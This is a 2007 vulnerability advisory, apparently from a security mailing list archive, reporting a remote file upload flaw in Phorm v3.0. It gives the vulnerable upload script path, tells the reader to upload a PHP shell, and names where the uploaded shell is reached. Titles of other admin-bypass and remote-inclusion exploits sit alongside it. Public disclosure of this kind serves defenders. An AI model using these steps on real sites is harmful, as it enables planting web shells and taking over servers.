Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

BellaBook Admin Bypass/Remote Code Execution

BellaBiblio Admin Login Bypass

RFI ====> vBulletin v3.6.5

Dora Emlak Script v1.0 (tr) Admin Login ByPass

From:	ilkerKandemir_(at)_mynet.com <ilkerKandemir_(at)_mynet.com>
Date:	31.07.2007
Subject:	Phorm v3.0 Remote File Upload Vulnerability

# # # # # # # # # # # # # # # # # # # # # # # # #

# Phorm v3.0  Remote File Upload Vulnerability

# ilker kandemir <ilkerkandemir[at]mynet.com>

# Download: ftp://ftp.holotech.net/phorm/phorm.zip

# TnX.: Ajann, Dumenci, H0tTurk, Str0ke

# # # # # # # # # # # # # # # # # # # # # # # # #

# Exploit: http://[site]/[phorm_path]/lib/fileupload.php           [+]=====>> upload your shell.php

# http://[site]/[phorm_path]/files/phpshell.php

# # # # # # # # # # # # # # # # # # # # # # # # #